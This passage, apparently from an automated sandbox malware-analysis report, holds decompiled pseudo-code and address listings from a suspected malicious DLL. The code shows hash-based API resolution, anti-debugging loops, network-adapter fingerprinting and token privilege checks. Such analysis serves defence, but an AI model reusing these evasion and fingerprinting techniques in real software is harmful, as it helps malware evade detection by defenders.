							E6E667A70(_t553 + 0x128);
							__eflags = 0;
							return 0;
						}
					} else {
						_push(0x6e68b1cc);
						_push(0);
						asm("int3");
						return _t192;
					}
				} else {
					asm("int3");
					return _t190;
				}
				goto L143;
			}

0x6e6551a7
0x6e6551a7
0x6e6551b7
0x6e6551bc
0x6e6551be
0x6e6551c5
0x6e6551d0
0x6e6551dc
0x6e6551e4
0x6e6551ec
0x6e6551f1
0x6e6551f8
0x00000000
0x00000000
0x6e6551fa
0x6e655202
0x6e655209
0x00000000
0x6e65520b
0x6e655212
0x6e655212
0x00000000
0x6e655209
0x6e6551fa
0x6e655218
0x6e655218
0x6e65521a
0x6e655221
0x6e65522c
0x6e655238
0x6e655240
0x6e655248
0x6e65524d
0x6e655254
0x00000000
0x00000000
0x6e655256
0x6e65525e
0x6e655265
0x00000000
0x6e655267
0x6e65526e
0x6e65526e
0x00000000
0x6e655265
0x6e655256
0x6e655274
0x6e655274
0x6e655276
0x6e65527d
0x6e655288
0x6e655294
0x6e65529c
0x6e6552a4
0x6e6552a9
0x6e6552b0
0x00000000
0x00000000
0x6e6552b2
0x6e6552ba
0x6e6552c1
0x00000000
0x6e6552c3
0x6e6552ca
0x6e6552ca
0x00000000
0x6e6552c1
0x6e6552b2
0x6e6552d0
0x6e6552d0
0x6e6552d2
0x6e6552d9
0x6e6552e4
0x6e6552f0
0x6e6552f8
0x6e655300
0x6e655305
0x6e65530c
0x00000000
0x00000000
0x6e65530e
0x6e655316
0x6e65531d
0x00000000
0x6e65531f
0x6e655326
0x6e655326
0x00000000
0x6e65531d
0x6e65530e
0x6e65532c
0x6e655333
0x6e655338
0x6e655344
0x6e655350
0x6e655358
0x6e655efb
0x6e655efb
0x6e655f04
0x6e655f06
0x6e655f08
0x6e655f22
0x6e655f22
0x6e655f2f
0x6e655f34
0x6e655f3b
0x6e655f43
0x6e655f4a
0x6e655f4e
0x6e655f52
0x6e655f52
0x6e655f54
0x6e655f61
0x6e655f67
0x6e655f69
0x6e655f6b
0x00000000
0x00000000
0x6e655f75
0x6e655f7f
0x6e655f8a
0x6e655f8c
0x6e655f97
0x6e655f97
0x6e655fa9
0x6e655fab
0x6e655fad
0x6e655fbd
0x6e655fd0
0x6e655fd0
0x6e655fe1
0x6e655fe4
0x6e655fec
0x6e655fee
0x6e655ff0
0x6e655ffd
0x6e656017
0x6e656017
0x6e655ff0
0x00000000
0x6e655f0a
0x6e655f18
0x6e655f1a
0x6e655f1c
0x00000000
0x00000000
0x00000000
0x00000000
0x6e655f1c
0x00000000
0x6e655f08
0x6e655358
0x6e65535e
0x6e65535e
0x6e655368
0x6e65536f
0x6e655377
0x6e65538a
0x6e65539b
0x6e65539f
0x6e6553aa
0x6e6553aa
0x6e6553ae
0x6e6553b0
0x6e6553ba
0x6e6553cd
0x6e6553cf
0x6e6553cf
0x6e6553d4
0x6e6553d7
0x6e6553ba
0x6e6553e2
0x6e6553f0
0x6e6553fc
0x6e65540b
0x6e655412
0x6e65541c
0x6e655428
0x6e65542d
0x6e65542f
0x6e655440
0x6e655451
0x6e655453
0x6e655457
0x6e655459
0x6e655459
0x6e65545e
0x6e65546f
0x6e655483
0x6e655485
0x6e655487
0x6e655490
0x6e655490
0x6e65549c
0x6e65549c
0x6e6554a5
0x6e6554b8
0x6e6554bd
0x6e6554bf
0x6e6554d9
0x6e6554ec
0x6e6554f1
0x6e6554f3
0x6e655506
0x6e65550b
0x6e65551c
0x6e655525
0x6e655538
0x6e655546
0x6e655552
0x6e655563
0x6e65556a
0x6e655576
0x6e655589
0x6e655590
0x6e655599
0x6e655599
0x6e655599
0x6e65559c
0x6e6554f5
0x6e6554f5
0x6e6554f5
0x6e6555a8
0x6e6555b4
0x6e6555b9
0x6e6555bb
0x6e6555c4
0x6e6555c4
0x00000000
0x00000000
0x00000000
0x6e6554c1
0x6e6554c8
0x6e6555bd
0x6e6555bd
0x6e6555bd
0x6e6555d2
0x6e6555e8
0x6e6555f4
0x6e6555f9
0x6e655601
0x6e655603
0x6e655606
0x6e655608
0x6e65560f
0x6e65560f
0x6e655619
0x6e655620
0x6e655622
0x6e65562e
0x6e65562e
0x6e655630
0x6e655637
0x6e655637
0x6e655637
0x6e655638
0x6e65563a
0x00000000
0x00000000
0x6e65563c
0x6e65563f
0x00000000
0x6e655641
0x6e655641
0x6e655648
0x6e65564b
0x00000000
0x6e65564d
0x6e65560f
0x6e65560f
0x6e655619
0x6e655620
0x6e655622
0x6e65562e
0x6e65562e
0x6e655630
0x00000000
0x6e655630
0x6e65560f
0x6e65564b
0x00000000
0x6e65563f
0x6e65564f
0x00000000
0x6e65564f
0x6e65560f
0x6e655652
0x6e655652
0x6e655656
0x6e65569c
0x6e65569e
0x6e6556ab
0x6e6556ad
0x6e6556b3
0x6e6556ba
0x6e6556c0
0x6e6556c5
0x6e6556c8
0x6e6556cb
0x6e6556ce
0x6e6556de
0x6e6556e3
0x6e6556e8
0x6e6556f7
0x6e655700
0x6e655705
0x6e655707
0x6e655724
0x6e655729
0x6e65572f
0x6e65572f
0x6e655738
0x6e65573d
0x6e65573d
0x6e65573f
0x6e65574b
0x6e65574d
0x00000000
0x00000000
0x6e655754
0x6e655759
0x6e65575a
0x6e65575d
0x00000000
0x00000000
0x00000000
0x6e65575d
0x6e65575f
0x6e655766
0x6e655770
0x6e655783
0x6e65578a
0x6e65579b
0x6e65579b
0x6e655709
0x6e655709
0x6e65570e
0x6e655714
0x6e655714
0x6e65571d
0x6e65571d
0x6e6557a6
0x6e6557a6
0x6e6556ce
0x6e6556ba
0x6e6556ad
0x6e6557b2
0x6e6557b5
0x6e655b3c
0x6e655b3c
0x6e655b41
0x6e655b43
0x6e655b54
0x6e655b54
0x6e655b59
0x6e655b5b
0x6e655e33
0x6e655e35
0x6e655e3a
0x6e655e3d
0x6e655e3f
0x6e655e47
0x6e655e49
0x6e655e41
0x6e655e41
0x6e655e41
0x6e655e4e
0x6e655e4e
0x6e655b61
0x6e655b6e
0x6e655b71
0x6e655e0b
0x6e655e10
0x6e655e1a
0x6e655e21
0x6e655e22
0x6e655e29
0x6e655b77
0x6e655b86
0x6e655b86
0x6e655b45
0x6e655b45
0x6e655b4b
0x6e655b50
0x6e655b52
0x00000000
0x00000000
0x6e655b52
0x6e655b92
0x6e655b97
0x6e655b99
0x6e655baa
0x6e655baa
0x6e655baf
0x6e655bb1
0x6e655eb0
0x6e655eb2
0x6e655eb7
0x6e655eba
0x6e655ebc
0x6e655ec4
0x6e655ec6
0x6e655ebe
0x6e655ebe
0x6e655ebe
0x6e655ecb
0x6e655ecb
0x6e655bb7
0x6e655bc4
0x6e655bc7
0x6e655e62
0x6e655e68
0x6e655e73
0x6e655e74
0x6e655e7d
0x6e655e84
0x6e655e89
0x6e655e8b
0x6e655e93
0x6e655e9e
0x6e655ea6
0x6e655ea6
0x6e655bcd
0x6e655bcf
0x6e655be8
0x6e655bf1
0x6e655bf5
0x6e655bf7
0x6e655c05
0x6e655c06
0x6e655c12
0x6e655c12
0x6e655b9b
0x6e655b9b
0x6e655ba1
0x6e655ba6
0x6e655ba8
0x00000000
0x00000000
0x6e655ba8
0x6e655c1e
0x6e655c21
0x6e655c24
0x6e655d87
0x6e655d8e
0x6e655ee4
0x6e655ee4
0x6e655d94
0x6e655d9c
0x6e655daa
0x6e655dbd
0x6e655dc4
0x6e655dc9
0x6e655c2a
0x6e655c2a
0x6e655c2d
0x6e655cf0
0x6e655cf3
0x6e655cfb
0x6e655d02
0x6e655d04
0x6e655d07
0x6e655d0a
0x6e655d0d
0x6e655d1b
0x6e655d25
0x6e655d2a
0x6e655d32
0x6e655d34
0x6e655d34
0x6e655d36
0x6e655d3e
0x6e655d43
0x6e655d47
0x6e655d4f
0x6e655d58
0x6e655d58
0x6e655d5d
0x6e655d5e
0x6e655d5e
0x6e655d36
0x6e655d6e
0x6e655d73
0x6e655d7a
0x6e655d7c
0x6e655d80
0x6e655d80
0x6e655d7c
0x6e655c33
0x6e655c33
0x6e655c35
0x6e655c3b
0x6e655c42
0x6e655c58
0x6e655c5a
0x6e655c5e
0x6e655c60
0x6e655c63
0x6e655c66
0x6e655c69
0x6e655c77
0x6e655c81
0x6e655c8d
0x6e655c8f
0x6e655c96
0x6e655c9b
0x6e655ca0
0x6e655ca2
0x6e655ca2
0x6e655ca4
0x6e655ca9
0x6e655cae
0x6e655cb2
0x6e655cba
0x6e655cc3
0x6e655cc3
0x6e655cc8
0x6e655cc9
0x6e655cc9
0x6e655ca4
0x6e655ca0
0x6e655cd3
0x6e655cd8
0x6e655cdc
0x6e655cde
0x6e655ce6
0x6e655ce6
0x6e655c44
0x6e655c44
0x6e655c4f
0x6e655c52
0x00000000
0x00000000
0x6e655c52
0x6e655c42
0x6e655c35
0x6e655c2d
0x6e655dd5
0x6e655de1
0x6e655ded
0x6e655df9
0x6e655dfe
0x6e655e0a
0x6e6557bb
0x6e6557c2
0x6e6557c4
0x00000000
0x6e6557ca
0x6e6557ca
0x6e6557cc
0x00000000
0x6e6557d2
0x6e6557dc
0x6e6557e4
0x6e6557e7
0x6e6557f5
0x6e655809
0x6e65580b
0x6e65580d
0x6e655813
0x6e655813
0x6e65581a
0x6e655821
0x6e655821
0x6e655823
0x6e655828
0x6e655834
0x6e655844
0x6e655849
0x6e65584e
0x6e655854
0x6e655854
0x6e655859
0x6e65585e
0x6e655863
0x6e65586a
0x6e65586e
0x6e655873
0x6e655878
0x6e655888
0x6e65588d
0x6e655896
0x6e6558b7
0x6e6558be
0x6e6558d0
0x6e6558df
0x6e6558e4
0x6e6558e6
0x00000000
0x00000000
0x6e655996
0x6e655996
0x6e6558ec
0x6e6558ed
0x6e6558ee
0x6e6558ef
0x6e6558f0
0x6e6558f2
0x6e6558f3
0x6e6558f4
0x6e6558f5
0x6e6558f9
0x6e6558fd
0x6e6558fe
0x6e6558fe
0x6e6557cc
0x6e6557c4
0x6e655658
0x6e65565f
0x6e65566b
0x6e655677
0x6e655683
0x6e655688
0x6e655694
0x6e655694
0x6e655431
0x6e655431
0x6e655436
0x6e655437
0x6e655438
0x6e655438
0x6e655414
0x6e655414
0x6e655415
0x6e655415
0x00000000

APIs

OutputDebugStringA.KERNEL32(?), ref: 6E6551DC
Sleep.KERNEL32(0000000A), ref: 6E6551E4
OutputDebugStringA.KERNEL32(?), ref: 6E655212
OutputDebugStringA.KERNEL32(?), ref: 6E655238
Sleep.KERNEL32(0000000A), ref: 6E655240
OutputDebugStringA.KERNEL32(?), ref: 6E65526E
OutputDebugStringA.KERNEL32(?), ref: 6E655294
Sleep.KERNEL32(0000000A), ref: 6E65529C
OutputDebugStringA.KERNEL32(?), ref: 6E6552CA
OutputDebugStringA.KERNEL32(?), ref: 6E6552F0
Sleep.KERNEL32(0000000A), ref: 6E6552F8
OutputDebugStringA.KERNEL32(?), ref: 6E655326
GetAdaptersInfo.IPHLPAPI(00000000,?,D93F3271,0A1EE59B,00000000,00002800,?,00000007,0000003F,588AB3EA,3B4CAFF7,588AB3EA,1BE15FEB,755AA3F0), ref: 6E6553AA

Strings

@, xrefs: 6E655F8C

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DebugOutputString$Sleep$AdaptersInfo
String ID: @
API String ID: 1241301715-2766056989
Opcode ID: 6a17e40bdc6b6561f72ada672c859c0517ea0b04e53b1c3ae14ca42bdfafe7dc
Instruction ID: 1e7217c4093e31ca7f3a601f362bac0af67bb7b9ba3afb3b80a9d16418ee9e23
Opcode Fuzzy Hash: 6a17e40bdc6b6561f72ada672c859c0517ea0b04e53b1c3ae14ca42bdfafe7dc
Instruction Fuzzy Hash: 12812B343443469FEB305FE1C854FDF77E9EF86308F10482DAA5A56391EB7145048B66

Uniqueness

Uniqueness Score: -1.00%

Function 6E663930, Relevance: 6.8, APIs: 4, Instructions: 834
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6E663930(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _v32;
				intOrPtr _v36;
				char _v44;
				void* _v60;
				void* _v72;
				char _v76;
				char _v84;
				void* _v88;
				char _v92;
				void* _v96;
				long _v100;
				long _v104;
				long _v108;
				char _v112;
				void* _v116;
				char _v120;
				void* _v154;
				struct _SYSTEM_INFO _v156;
				signed int _v160;
				void* _v164;
				char _v168;
				void* _v172;
				char _v176;
				char _v180;
				void* _v184;
				char _v188;
				void* _v196;
				intOrPtr _v424;
				signed char _v428;
				signed char _v432;
				char _v496;
				void* _v500;
				void* _v504;
				char _v520;
				void* _v524;
				intOrPtr _t163;
				intOrPtr _t174;
				char _t175;
				intOrPtr* _t183;
				void* _t187;
				void* _t197;
				signed int _t201;
				char _t212;
				intOrPtr _t219;
				intOrPtr _t223;
				void* _t229;
				int _t234;
				intOrPtr _t241;
				void* _t244;
				void* _t247;
				void* _t255;
				void* _t263;
				void* _t264;
				int _t275;
				void* _t279;
				void* _t282;
				void* _t283;
				void* _t286;
				void* _t289;
				void* _t292;
				void* _t295;
				void* _t298;
				void* _t306;
				intOrPtr _t308;
				void* _t311;
				void* _t313;
				void* _t314;
				intOrPtr _t315;
				void* _t316;
				signed char _t322;
				intOrPtr* _t344;
				void** _t346;
				void* _t354;
				void* _t359;
				void* _t360;
				void* _t362;
				void* _t364;
				intOrPtr _t366;
				void* _t367;
				void* _t368;
				void* _t374;
				void* _t375;
				void* _t377;
				signed char _t378;
				void* _t381;
				intOrPtr _t382;
				intOrPtr _t383;
				void* _t384;
				void* _t386;
				void* _t387;
				void* _t388;
				void* _t389;
				intOrPtr _t392;
				intOrPtr _t394;
				void* _t395;
				intOrPtr _t398;
				intOrPtr _t400;
				intOrPtr* _t402;
				void* _t403;
				void* _t406;
				void* _t407;
				void* _t408;
				void* _t409;
				void* _t410;
				void* _t411;
				intOrPtr* _t413;
				signed char* _t416;
				intOrPtr* _t417;
				void* _t420;
				void* _t425;
				signed int _t429;
				void* _t432;
				void* _t433;
				void* _t434;
				signed int _t439;
				signed int _t442;
				void* _t444;
				intOrPtr* _t445;

				_t439 = _t442;
				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t444 = (_t442 & 0xfffffff0) - 0x1b4;
				_t313 = __ecx;
				_t163 =  *0x6e68b1f0; // 0xf20528
				if(_t163 == 0x9ccb2c38) {
					_push(0x30);
					_t163 = E6E661030();
					_t444 = _t444 + 4;
					 *0x6e68b1f0 = _t163;
				}
				if( *((char*)(_t163 + 0xb)) == 0 || _t313 != 0) {
					_t416 =  &_v432;
					E6E660B70(_t416, 0, 0x11c);
					_t445 = _t444 + 0xc;
					_t377 =  *0x6e68b1f4; // 0xf21340
					_v432 = 0x11c;
					if(_t377 == 0xc139578) {
						 *0x6e68b1f4 = 0;
						_t314 = 0;
						goto L11;
					} else {
						if(_t377 == 0) {
							_t314 = 0;
							goto L11;
						} else {
							_t314 = 0;
							do {
								_t375 = _t314;
								_t311 = _t375;
								while( *((intOrPtr*)(_t311 + _t377 + 8)) != 0x13e99f60) {
									_t375 = _t375 + 1;
									_t311 = _t311 + 0x18;
									if(_t375 < 0x10) {
										continue;
									} else {
										goto L10;
									}
									goto L236;
								}
								_t308 =  *((intOrPtr*)(_t311 + _t377 + 0x14));
								if(_t308 != 0) {
									L14:
									if(_t308 == 0) {
										L16:
										_t417 =  *0x6e68b1f0; // 0xf20528
										_t378 = _v432;
										_t322 = _v428;
										 *((intOrPtr*)(_t417 + 4)) = _v424;
										_t428 = (_t378 & 0x000000ff) << 4;
										 *(_t417 + 9) = _t322;
										 *(_t417 + 8) = _t378;
										 *((char*)(_t417 + 0xa)) = _v160 & 0x0000ffff;
										_t380 =  !=  ? 1 : _t314;
										 *((char*)(_t417 + 0xc)) =  !=  ? 1 : _t314;
										_t381 =  *0x6e68b1f4; // 0xf21340
										_v32 = _t314;
										 *_t417 = (_t322 & 0x000000ff) + ((_t378 & 0x000000ff) << 4) - 0x50;
										if(_t381 == 0xc139578) {
											 *0x6e68b1f4 = 0;
											goto L22;
										} else {
											if(_t381 == 0) {
												L22:
												_push(0xa1310f65);
												_t428 = E6E667564(0xa1310f65);
												if(_t428 == 0) {
													if(E6E666C50(0xa1310f65) != 0) {
														_push(0xa1310f65);
														_t428 = E6E667564(0xa1310f65);
													}
												}
												if(_t428 != 0) {
													_t445 = _t445 + 0xfffffff8;
													_t413 = E6E6667C8(_t428, 0x16ea6870);
													goto L25;
												}
											} else {
												do {
													_t374 = _t314;
													_t306 = _t374;
													while( *((intOrPtr*)(_t306 + _t381 + 8)) != 0x16ea6870) {
														_t374 = _t374 + 1;
														_t306 = _t306 + 0x18;
														if(_t374 < 0x10) {
															continue;
														} else {
															goto L21;
														}
														goto L27;
													}
													_t413 =  *((intOrPtr*)(_t306 + _t381 + 0x14));
													if(_t413 != 0) {
														L25:
														if(_t413 != 0) {
															 *_t413(0xffffffff,  &_v44);
														}
														goto L27;
													} else {
														goto L22;
													}
													goto L236;
													L21:
													asm("o16 nop [eax+eax]");
													_t22 = _t381 + 0x180; // 0xf28e68
													_t381 =  *_t22;
												} while (_t381 != 0);
												goto L22;
											}
										}
										L27:
										_t174 =  *0x6e68b1f0; // 0xf20528
										if(_v36 == 0) {
											 *((char*)(_t174 + 0xb)) = 0x20;
										} else {
											 *((char*)(_t174 + 0xb)) = 0x40;
										}
										_t175 = E6E6647B0(_t314, _t417, _t428);
										_t382 =  *0x6e68b1f0; // 0xf20528
										 *((char*)(_t382 + 0x28)) = _t175;
										if( *((intOrPtr*)(E6E663930(_t314, 0, _t417, _t428))) >= 0x10) {
											asm("movups xmm0, [0x6e68a130]");
											asm("movsd xmm1, [0x6e68a140]");
											asm("movups [esp+0x130], xmm0");
											asm("movsd [esp+0x140], xmm1");
											_t418 =  &_v120;
											_push(0);
											E6E679350( &_v120);
											_t429 = _t314;
											do {
												E6E679670( &_v120, E6E679650( &_v120) + 4);
												_t315 =  *((intOrPtr*)(_t445 + 0x130 + _t429 * 4));
												_t183 = E6E679640(_t418, E6E679650(_t418) + 0xfffffffc);
												_t429 = 1 + _t429;
												 *_t183 = _t315;
											} while (_t429 < 6);
											_push(0);
											_t314 = 0;
											E6E67C550(0,  &_v160, _t429, _t439, _t418, 0x80000002);
											E6E679510(_t418);
											E6E67C580( &_v172, _t382,  &_v84, 0x1cd1a4f3);
											_push(_v92);
											_t187 = E6E67C790( &_v180, _t382);
											_t419 = _t187;
											E6E670B10( &_v84);
											if(_t187 != 0) {
												E6E67C580( &_v168, _t382,  &(_v156.lpMinimumApplicationAddress), 0xc28d248b);
												_push(_v156.dwOemId);
												_t419 = E6E67C790( &_v176, _t382);
												E6E670B10( &(_v156.lpMinimumApplicationAddress));
												E6E67C580( &_v180, _t382,  &(_v156.dwPageSize), 0xead58213);
												_push(_v160);
												_t432 = E6E67C790( &_v188, _t382);
												E6E670B10( &_v164);
												if(_t419 != 0) {
													if(_t419 == 5) {
														if(_t432 == 0) {
															E6E668CA0( &_v164);
															if(_v168 != 0) {
																_t406 = _v172;
																if(_t406 == 0 || _t406 == 0xffffffff) {
																	_t283 = 1;
																} else {
																	_t283 = 0;
																}
																if(_t283 == 0) {
																	E6E67BF00(_t406);
																}
															}
															_v172 = 0;
															_t197 = 3;
															goto L64;
														} else {
															if(_t432 == 1) {
																E6E668CA0( &_v164);
																if(_v168 != 0) {
																	_t407 = _v172;
																	if(_t407 == 0 || _t407 == 0xffffffff) {
																		_t286 = 1;
																	} else {
																		_t286 = 0;
																	}
																	if(_t286 == 0) {
																		E6E67BF00(_t407);
																	}
																}
																_v172 = 0;
																_t197 = 4;
																goto L64;
															} else {
																goto L56;
															}
														}
														goto L236;
													} else {
														if(_t419 != 2 || _t432 != 1) {
															goto L56;
														} else {
															E6E668CA0( &_v164);
															if(_v168 != 0) {
																_t409 = _v172;
																if(_t409 == 0 || _t409 == 0xffffffff) {
																	_t292 = 1;
																} else {
																	_t292 = 0;
																}
																if(_t292 == 0) {
																	E6E67BF00(_t409);
																}
															}
															_v172 = 0;
															_t197 = 5;
														}
													}
												} else {
													if(_t432 != 0) {
														L56:
														E6E668CA0( &_v164);
														if(_v168 != 0) {
															_t408 = _v172;
															if(_t408 == 0 || _t408 == 0xffffffff) {
																_t289 = 1;
															} else {
																_t289 = _t314;
															}
															if(_t289 == 0) {
																E6E67BF00(_t408);
															}
														}
														_v172 = 0;
														_t197 = _t314;
													} else {
														E6E668CA0( &_v164);
														if(_v168 != 0) {
															_t410 = _v172;
															if(_t410 == 0 || _t410 == 0xffffffff) {
																_t295 = 1;
															} else {
																_t295 = 0;
															}
															if(_t295 == 0) {
																E6E67BF00(_t410);
															}
														}
														_v172 = 0;
														_t197 = 2;
													}
												}
											} else {
												E6E668CA0( &_v156);
												if(_v160 != 0) {
													_t411 = _v164;
													if(_t411 == 0 || _t411 == 0xffffffff) {
														_t298 = 1;
													} else {
														_t298 = 0;
													}
													if(_t298 == 0) {
														E6E67BF00(_t411);
													}
												}
												_v164 = 0;
												_t197 = 1;
											}
										} else {
											_t197 = 1;
										}
										L64:
										_t383 =  *0x6e68b1f0; // 0xf20528
										 *(_t445 + 0x1ac) = 0;
										 *(_t383 + 0x24) = _t197;
										_t384 =  *0x6e68b1f4; // 0xf21340
										if(_t384 == 0xc139578) {
											 *0x6e68b1f4 = 0;
											goto L70;
										} else {
											if(_t384 == 0) {
												L70:
												_push(0x3ab94787);
												_t432 = E6E667564(0x3ab94787);
												if(_t432 == 0) {
													if(E6E666C50(0x3ab94787) != 0) {
														_push(0x3ab94787);
														_t432 = E6E667564(0x3ab94787);
													}
												}
												if(_t432 == 0) {
													goto L87;
												} else {
													_t445 = _t445 + 0xfffffff8;
													_t402 = E6E6667C8(_t432, 0xc17c5a6e);
													goto L73;
												}
											} else {
												do {
													_t368 = _t314;
													_t282 = _t368;
													while( *((intOrPtr*)(_t282 + _t384 + 8)) != 0xc17c5a6e) {
														_t368 = _t368 + 1;
														_t282 = _t282 + 0x18;
														if(_t368 < 0x10) {
															continue;
														} else {
															goto L69;
														}
														goto L88;
													}
													_t402 =  *((intOrPtr*)(_t282 + _t384 + 0x14));
													if(_t402 != 0) {
														L73:
														if(_t402 == 0) {
															L87:
															_t201 = _t314;
														} else {
															_push(_t445 + 0x1ac);
															_push(8);
															_push(0xffffffff);
															if( *_t402() == 0) {
																goto L87;
															} else {
																_t403 =  *0x6e68b1f4; // 0xf21340
																if(_t403 == 0xc139578) {
																	 *0x6e68b1f4 = 0;
																	goto L81;
																} else {
																	if(_t403 == 0) {
																		L81:
																		_push(0x3ab94787);
																		_t432 = E6E667564(0x3ab94787);
																		if(_t432 == 0) {
																			if(E6E666C50(0x3ab94787) != 0) {
																				_push(0x3ab94787);
																				_t432 = E6E667564(0x3ab94787);
																			}
																		}
																		if(_t432 == 0) {
																			goto L87;
																		} else {
																			_t445 = _t445 + 0xfffffff8;
																			_t366 = E6E6667C8(_t432, 0x2eeff4c6);
																			goto L84;
																		}
																	} else {
																		do {
																			_t367 = _t314;
																			_t279 = _t367;
																			while( *((intOrPtr*)(_t279 + _t403 + 8)) != 0x2eeff4c6) {
																				_t367 = _t367 + 1;
																				_t279 = _t279 + 0x18;
																				if(_t367 < 0x10) {
																					continue;
																				} else {
																					goto L80;
																				}
																				goto L88;
																			}
																			_t366 =  *((intOrPtr*)(_t279 + _t403 + 0x14));
																			if(_t366 != 0) {
																				L84:
																				if(_t366 == 0) {
																					goto L87;
																				} else {
																					_t275 = GetTokenInformation(_v88, 0x14,  &_v100, 4,  &_v104); // executed
																					if(_t275 == 0) {
																						goto L87;
																					} else {
																						_t201 = _t314 & 0xffffff00 | _v104 > 0x00000000;
																					}
																				}
																			} else {
																				goto L81;
																			}
																			goto L88;
																			L80:
																			asm("o16 nop [eax+eax]");
																			_t66 = _t403 + 0x180; // 0xf28e68
																			_t403 =  *_t66;
																		} while (_t403 != 0);
																		goto L81;
																	}
																}
															}
														}
													} else {
														goto L70;
													}
													goto L88;
													L69:
													asm("o16 nop [eax+eax]");
													_t62 = _t384 + 0x180; // 0xf28e68
													_t384 =  *_t62;
												} while (_t384 != 0);
												goto L70;
											}
										}
										L88:
										_t344 =  *0x6e68b1f0; // 0xf20528
										 *(_t344 + 0x29) = _t201;
										 *((intOrPtr*)(_t344 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
										if( *_t344 >= 0x10) {
											_t386 =  *0x6e68b1f4; // 0xf21340
											 *(_t445 + 0x1a4) = 0;
											if(_t386 == 0xc139578) {
												 *0x6e68b1f4 = 0;
												goto L100;
											} else {
												if(_t386 == 0) {
													L100:
													_push(0x3ab94787);
													_t432 = E6E667564(0x3ab94787);
													if(_t432 == 0) {
														if(E6E666C50(0x3ab94787) != 0) {
															_push(0x3ab94787);
															_t432 = E6E667564(0x3ab94787);
														}
													}
													if(_t432 != 0) {
														_t445 = _t445 + 0xfffffff8;
														_t386 = E6E6667C8(_t432, 0xc17c5a6e);
														goto L103;
													}
												} else {
													do {
														_t364 = _t314;
														_t263 = _t364;
														while( *((intOrPtr*)(_t263 + _t386 + 8)) != 0xc17c5a6e) {
															_t364 = _t364 + 1;
															_t263 = _t263 + 0x18;
															if(_t364 < 0x10) {
																continue;
															} else {
																goto L99;
															}
															goto L105;
														}
														_t386 =  *(_t263 + _t386 + 0x14);
														if(_t386 != 0) {
															L103:
															if(_t386 != 0) {
																 *_t386(0xffffffff, 8,  &_v76);
															}
														} else {
															goto L100;
														}
														goto L105;
														L99:
														asm("o16 nop [eax+eax]");
														_t84 = _t386 + 0x180; // 0xf28e68
														_t386 =  *_t84;
													} while (_t386 != 0);
													goto L100;
												}
											}
											L105:
											_t346 =  &_v84;
											 *_t346 =  *(_t445 + 0x1a4);
											_t346[1] = 1;
											if(E6E67BEA0(_t346, _t386, _t432) == 0) {
												_t387 =  *0x6e68b1f4; // 0xf21340
												_v88 = 0;
												if(_t387 == 0xc139578) {
													 *0x6e68b1f4 = 0;
													goto L114;
												} else {
													if(_t387 == 0) {
														L114:
														_push(0x3ab94787);
														_t432 = E6E667564(0x3ab94787);
														if(_t432 == 0) {
															if(E6E666C50(0x3ab94787) != 0) {
																_push(0x3ab94787);
																_t432 = E6E667564(0x3ab94787);
															}
														}
														if(_t432 != 0) {
															_t445 = _t445 + 0xfffffff8;
															_t398 = E6E6667C8(_t432, 0x2eeff4c6);
															goto L117;
														}
													} else {
														do {
															_t362 = _t314;
															_t255 = _t362;
															while( *((intOrPtr*)(_t255 + _t387 + 8)) != 0x2eeff4c6) {
																_t362 = _t362 + 1;
																_t255 = _t255 + 0x18;
																if(_t362 < 0x10) {
																	continue;
																} else {
																	goto L113;
																}
																goto L119;
															}
															_t398 =  *((intOrPtr*)(_t255 + _t387 + 0x14));
															if(_t398 != 0) {
																L117:
																if(_t398 != 0) {
																	GetTokenInformation(_v96, 0x19, _t314, _t314,  &_v100); // executed
																}
															} else {
																goto L114;
															}
															goto L119;
															L113:
															asm("o16 nop [eax+eax]");
															_t94 = _t387 + 0x180; // 0xf28e68
															_t387 =  *_t94;
														} while (_t387 != 0);
														goto L114;
													}
												}
												L119:
												_t212 = _v92;
												if(_t212 != 0) {
													_push(_t212);
													E6E679350(_t445 + 8);
													_t433 = E6E679640(_t445 + 8, 0);
													_t388 =  *0x6e68b1f4; // 0xf21340
													if(_t388 == 0xc139578) {
														 *0x6e68b1f4 = 0;
														goto L160;
													} else {
														if(_t388 == 0) {
															L160:
															_push(0x3ab94787);
															_t420 = E6E667564(0x3ab94787);
															if(_t420 == 0) {
																if(E6E666C50(0x3ab94787) != 0) {
																	_push(0x3ab94787);
																	_t420 = E6E667564(0x3ab94787);
																}
															}
															if(_t420 == 0) {
																goto L178;
															} else {
																_t445 = _t445 + 0xfffffff8;
																_t394 = E6E6667C8(_t420, 0x2eeff4c6);
																goto L163;
															}
														} else {
															do {
																_t360 = _t314;
																_t247 = _t360;
																while( *((intOrPtr*)(_t247 + _t388 + 8)) != 0x2eeff4c6) {
																	_t360 = _t360 + 1;
																	_t247 = _t247 + 0x18;
																	if(_t360 < 0x10) {
																		continue;
																	} else {
																		goto L159;
																	}
																	goto L236;
																}
																_t394 =  *((intOrPtr*)(_t247 + _t388 + 0x14));
																if(_t394 != 0) {
																	L163:
																	if(_t394 == 0) {
																		L178:
																		E6E679510( &_v496);
																		if(_v92 != 0) {
																			E6E67BE30( &_v96, _t433);
																		}
																		goto L122;
																	} else {
																		_t234 = GetTokenInformation(_v104, 0x19, _t433, _v108,  &_v108); // executed
																		if(_t234 == 0) {
																			goto L178;
																		} else {
																			_t395 =  *0x6e68b1f4; // 0xf21340
																			if(_t395 == 0xc139578) {
																				 *0x6e68b1f4 = 0;
																				goto L171;
																			} else {
																				if(_t395 == 0) {
																					L171:
																					_push(0x3ab94787);
																					 *_t445 = E6E667564(0x3ab94787);
																					if( *_t445 == 0) {
																						if(E6E666C50(0x3ab94787) != 0) {
																							_push(0x3ab94787);
																							_v520 = E6E667564(0x3ab94787);
																						}
																					}
																					if( *_t445 == 0) {
																						goto L176;
																					} else {
																						_t445 = _t445 + 0xfffffff8;
																						_t241 = E6E6667C8( *((intOrPtr*)(_t445 + 8)), 0x4e2f8db7);
																						goto L174;
																					}
																				} else {
																					do {
																						_t359 = _t314;
																						_t244 = _t359;
